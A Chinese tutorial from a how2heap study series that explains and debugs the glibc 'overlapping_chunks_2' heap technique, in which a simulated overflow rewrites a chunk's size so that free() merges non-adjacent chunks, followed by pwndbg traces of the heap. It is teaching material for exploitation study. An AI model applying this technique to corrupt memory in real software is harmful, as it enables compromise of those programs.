how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的overlapping_chunks_2攻击

同样是堆块重叠的问题,前面那个是在chunk已经被free,加入到了unsorted bin之后,再修改其size值,然后malloc一个不一样的chunk出来,从零开始学howtoheap:理解fastbins的堆块重叠的问题1-CSDN博客。而这里是在 free之前修改size值,使free错误地修改了下一个chunk的prev_size值,导致中间的chunk强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。

一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8

释放掉堆块 p4,在这种情况下不会用 top chunk 合并

假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size

free p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4

这样的话将会 free 掉的 p2 将会包含 p3

现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来

chunk p6 从 0x603400 到 0x603bd8
chunk p3 从 0x6037f0 到 0x603bd8
 

2.overlapping_chunks_2演示程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){
  
  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
  int prev_in_use = 0x1;

  fprintf(stderr, "\n一开始分配 5 个 chunk");
  p1 = malloc(1000);
  p2 = malloc(1000);
  p3 = malloc(1000);
  p4 = malloc(1000);
  p5 = malloc(1000);

  real_size_p1 = malloc_usable_size(p1);
  real_size_p2 = malloc_usable_size(p2);
  real_size_p3 = malloc_usable_size(p3);
  real_size_p4 = malloc_usable_size(p4);
  real_size_p5 = malloc_usable_size(p5);

  fprintf(stderr, "\nchunk p1 从 %p 到 %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
  fprintf(stderr, "\nchunk p2 从 %p 到 %p", p2,  (unsigned char *)p2+malloc_usable_size(p2));
  fprintf(stderr, "\nchunk p3 从 %p 到 %p", p3,  (unsigned char *)p3+malloc_usable_size(p3));
  fprintf(stderr, "\nchunk p4 从 %p 到 %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
  fprintf(stderr, "\nchunk p5 从 %p 到 %p\n", p5,  (unsigned char *)p5+malloc_usable_size(p5));

  memset(p1,'A',real_size_p1);
  memset(p2,'B',real_size_p2);
  memset(p3,'C',real_size_p3);
  memset(p4,'D',real_size_p4);
  memset(p5,'E',real_size_p5);
  
  fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
  free(p4);

  fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
  fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
  fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
  free(p2);
  
  fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
  p6 = malloc(2000);
  real_size_p6 = malloc_usable_size(p6);

  fprintf(stderr, "\nchunk p6 从 %p 到 %p", p6,  (unsigned char *)p6+real_size_p6);
  fprintf(stderr, "\nchunk p3 从 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3);

  fprintf(stderr, "\np3 中的内容: \n\n");
  fprintf(stderr, "%s\n",(char *)p3);

  fprintf(stderr, "\n往 p6 中写入\"F\"\n");
  memset(p6,'F',1500);

  fprintf(stderr, "\np3 中的内容: \n\n");
  fprintf(stderr, "%s\n",(char *)p3);
}

3.调试overlapping_chunks

3.1 获得可执行程序 

gcc -g overlapping_chunks_2.c -o overlapping_chunks_2

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g overlapping_chunks_2.c -o overlapping_chunks_2
root@pwn_test1604:/ctf/work/how2heap# gdb ./overlapping_chunks_2
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./overlapping_chunks_2...done.
pwndbg> r
Starting program: /ctf/work/how2heap/overlapping_chunks_2 

一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8

释放掉堆块 p4,在这种情况下不会用 top chunk 合并

假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size

free p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4

这样的话将会 free 掉的 p2 将会包含 p3

现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来

chunk p6 从 0x603400 到 0x603bd8
chunk p3 从 0x6037f0 到 0x603bd8

p3 中的内容: 

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�

往 p6 中写入"F"

p3 中的内容: 

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�
[Inferior 1 (process 131) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第37行并走起

我们需要五个堆块,假设第chunk 1存在溢出,可以改写第二个chunk 2的数据,chunk 5的作用是防止释放chunk 4后,被合并进top chunk。所以我们要重叠的区域是chunk 2到chunk 4。

首先申请5个chunk,分别是p1,p2,p3,p4,p5。

pwndbg> b 37
Breakpoint 1 at 0x4008fc: file overlapping_chunks_2.c, line 37.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/overlapping_chunks_2 

一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8

Breakpoint 1, main () at overlapping_chunks_2.c:38
38        fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603fd0 ◂— 0x4545454545454545 ('EEEEEEEE')
 RBX  0x0
 RCX  0xffffffd8
 RDX  0x3e8
 RDI  0x604360 ◂— 0x4545454545454545 ('EEEEEEEE')
 RSI  0x6043b8 ◂— 0x1fc51
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x24
 R10  0x34e
 R11  0x7ffff7b7f970 (__memset_avx2) ◂— vpxor  xmm0, xmm0, xmm0
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe560 ◂— 0x1f7ffe168
 RIP  0x4008fc (main+550) ◂— mov    rax, qword ptr [rip + 0x20175d]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4008fc <main+550>    mov    rax, qword ptr [rip + 0x20175d] <0x602060>
   0x400903 <main+557>    mov    rcx, rax
   0x400906 <main+560>    mov    edx, 0x43
   0x40090b <main+565>    mov    esi, 1
   0x400910 <main+570>    mov    edi, 0x400c10
   0x400915 <main+575>    call   fwrite@plt <0x4005c0>
 
   0x40091a <main+580>    mov    rax, qword ptr [rbp - 0x18]
   0x40091e <main+584>    mov    rdi, rax
   0x400921 <main+587>    call   free@plt <0x400560>
 
   0x400926 <main+592>    mov    rax, qword ptr [rip + 0x201733] <0x602060>
   0x40092d <main+599>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
   33   memset(p2,'B',real_size_p2);
   34   memset(p3,'C',real_size_p3);
   35   memset(p4,'D',real_size_p4);
   36   memset(p5,'E',real_size_p5);
   37   
 ► 38   fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
   39   free(p4);
   40 
   41   fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
   42   *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
   43   fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│      0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│      0x7fffffffe578 ◂— 0x3e8
04:0020│      0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│      0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│      0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│      0x7fffffffe598 —▸ 0x603be0 ◂— 0x4444444444444444 ('DDDDDDDD')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4008fc main+550
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/overlapping_chunks_2.c:37
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x3f0                Used                None              None
0x6033f0            0x4141414141414141  0x3f0                Used                None              None
0x6037e0            0x4242424242424242  0x3f0                Used                None              None
0x603bd0            0x4343434343434343  0x3f0                Used                None              None
0x603fc0            0x4444444444444444  0x3f0                Used                None              None

 pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x3f0                Used                None              None                    p1
0x6033f0            0x4141414141414141  0x3f0                Used                None              None      p2
0x6037e0            0x4242424242424242  0x3f0                Used                None              None     p3
0x603bd0            0x4343434343434343  0x3f0                Used                None              None     p4
0x603fc0            0x4444444444444444  0x3f0                Used                None              None      p5
 

一开始分配 5 个 chunk
chunk p1 从 0x603010 到 0x6033f8
chunk p2 从 0x603400 到 0x6037e8
chunk p3 从 0x6037f0 到 0x603bd8
chunk p4 从 0x603be0 到 0x603fc8
chunk p5 从 0x603fd0 到 0x6043b8

3.3.2 ​设置断点第41行并走起

然后free掉p4,p4被放入unsorted bin。

pwndbg> b 41
Breakpoint 2 at 0x400926: file overlapping_chunks_2.c, line 41.
pwndbg> c
Continuing.

释放掉堆块 p4,在这种情况下不会用 top chunk 合并

Breakpoint 2, main () at overlapping_chunks_2.c:41
41        fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x0
 RDI  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RSI  0x0
 R8   0x43
 R9   0x1
 R10  0x8b8
 R11  0x7ffff7a914f0 (free) ◂— push   r13
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe560 ◂— 0x1f7ffe168
 RIP  0x400926 (main+592) ◂— mov    rax, qword ptr [rip + 0x201733]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x400910 <main+570>    mov    edi, 0x400c10
   0x400915 <main+575>    call   fwrite@plt <0x4005c0>
 
   0x40091a <main+580>    mov    rax, qword ptr [rbp - 0x18]
   0x40091e <main+584>    mov    rdi, rax
   0x400921 <main+587>    call   free@plt <0x400560>
 
 ► 0x400926 <main+592>    mov    rax, qword ptr [rip + 0x201733] <0x602060>
   0x40092d <main+599>    mov    rcx, rax
   0x400930 <main+602>    mov    edx, 0x4c
   0x400935 <main+607>    mov    esi, 1
   0x40093a <main+612>    mov    edi, 0x400c58
   0x40093f <main+617>    call   fwrite@plt <0x4005c0>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
   36   memset(p5,'E',real_size_p5);
   37   
   38   fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
   39   free(p4);
   40 
 ► 41   fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
   42   *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
   43   fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
   44   fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
   45   free(p2);
   46   
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│      0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│      0x7fffffffe578 ◂— 0x3e8
04:0020│      0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│      0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│      0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│      0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400926 main+592
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/overlapping_chunks_2.c:41
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603bd0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603bd0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x3f0                Used                None              None
0x6033f0            0x4141414141414141  0x3f0                Used                None              None
0x6037e0            0x4242424242424242  0x3f0                Used                None              None
0x603bd0            0x4343434343434343  0x3f0                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603fc0            0x3f0               0x3f0                Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603bd0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603bd0

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x3f0                Used                None              None
0x6033f0            0x4141414141414141  0x3f0                Used                None              None
0x6037e0            0x4242424242424242  0x3f0                Used                None              None
0x603bd0            0x4343434343434343  0x3f0                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603fc0            0x3f0               0x3f0                Used                None              None
pwndbg> 

3.3.3 ​设置断点第42行并走起

接下来是最关键的一步,利用chunk 1的溢出漏洞,将chunk 2的size值修改为chunk 2和chunk 3的大小之和,即0x3f0+0x3f0+0x1=0x7e1,最后的1是标志位。

pwndbg> n

假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size
42        *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x4c
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x400c00 ◂— mov    ebx, 0x7025208e
 R8   0x4c
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe560 ◂— 0x1f7ffe168
 RIP  0x400944 (main+622) ◂— mov    edx, dword ptr [rbp - 0x48]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x40092d <main+599>    mov    rcx, rax
   0x400930 <main+602>    mov    edx, 0x4c
   0x400935 <main+607>    mov    esi, 1
   0x40093a <main+612>    mov    edi, 0x400c58
   0x40093f <main+617>    call   fwrite@plt <0x4005c0>
 
 ► 0x400944 <main+622>    mov    edx, dword ptr [rbp - 0x48]
   0x400947 <main+625>    mov    rax, qword ptr [rbp - 0x30]
   0x40094b <main+629>    add    rax, rdx
   0x40094e <main+632>    mov    ecx, dword ptr [rbp - 0x44]
   0x400951 <main+635>    mov    edx, dword ptr [rbp - 0x40]
   0x400954 <main+638>    add    ecx, edx
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
   37   
   38   fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
   39   free(p4);
   40 
   41   fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
 ► 42   *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
   43   fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
   44   fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
   45   free(p2);
   46   
   47   fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│      0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│      0x7fffffffe578 ◂— 0x3e8
04:0020│      0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│      0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│      0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│      0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400944 main+622
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> n
43        fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x6033f8 ◂— 0x7e1
 RBX  0x0
 RCX  0x7d0
 RDX  0x7e1
 RDI  0x2
 RSI  0x400c00 ◂— mov    ebx, 0x7025208e
 R8   0x4c
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x4005e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe560 ◂— 0x1f7ffe168
 RIP  0x400960 (main+650) ◂— mov    rax, qword ptr [rip + 0x2016f9]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400960 <main+650>    mov    rax, qword ptr [rip + 0x2016f9] <0x602060>
   0x400967 <main+657>    mov    rcx, rax
   0x40096a <main+660>    mov    edx, 0x68
   0x40096f <main+665>    mov    esi, 1
   0x400974 <main+670>    mov    edi, 0x400ca8
   0x400979 <main+675>    call   fwrite@plt <0x4005c0>
 
   0x40097e <main+680>    mov    rax, qword ptr [rip + 0x2016db] <0x602060>
   0x400985 <main+687>    mov    rcx, rax
   0x400988 <main+690>    mov    edx, 0x33
   0x40098d <main+695>    mov    esi, 1
   0x400992 <main+700>    mov    edi, 0x400d18
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
   38   fprintf(stderr, "\n释放掉堆块 p4,在这种情况下不会用 top chunk 合并\n");
   39   free(p4);
   40 
   41   fprintf(stderr, "\n假设 p1 上的漏洞,该漏洞会把 p2 的 size 改成 p2+p3 的 size\n");
   42   *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
 ► 43   fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
   44   fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
   45   free(p2);
   46   
   47   fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
   48   p6 = malloc(2000);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│      0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│      0x7fffffffe578 ◂— 0x3e8
04:0020│      0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│      0x7fffffffe588 —▸ 0x603400 ◂— 0x4242424242424242 ('BBBBBBBB')
06:0030│      0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│      0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400960 main+650
   f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x3f0                Used                None              None
0x6033f0            0x4141414141414141  0x7e0                Used                None              None
0x603bd0            0x4343434343434343  0x3f0                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603fc0            0x3f0               0x3f0                Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603bd0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603bd0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x6033f0
0x6033f0:       0x4141414141414141      0x00000000000007e1
0x603400:       0x4242424242424242      0x4242424242424242
0x603410:       0x4242424242424242      0x4242424242424242
0x603420:       0x4242424242424242      0x4242424242424242
0x603430:       0x4242424242424242      0x4242424242424242
pwndbg> 

pwndbg> x/10gx 0x6033f0
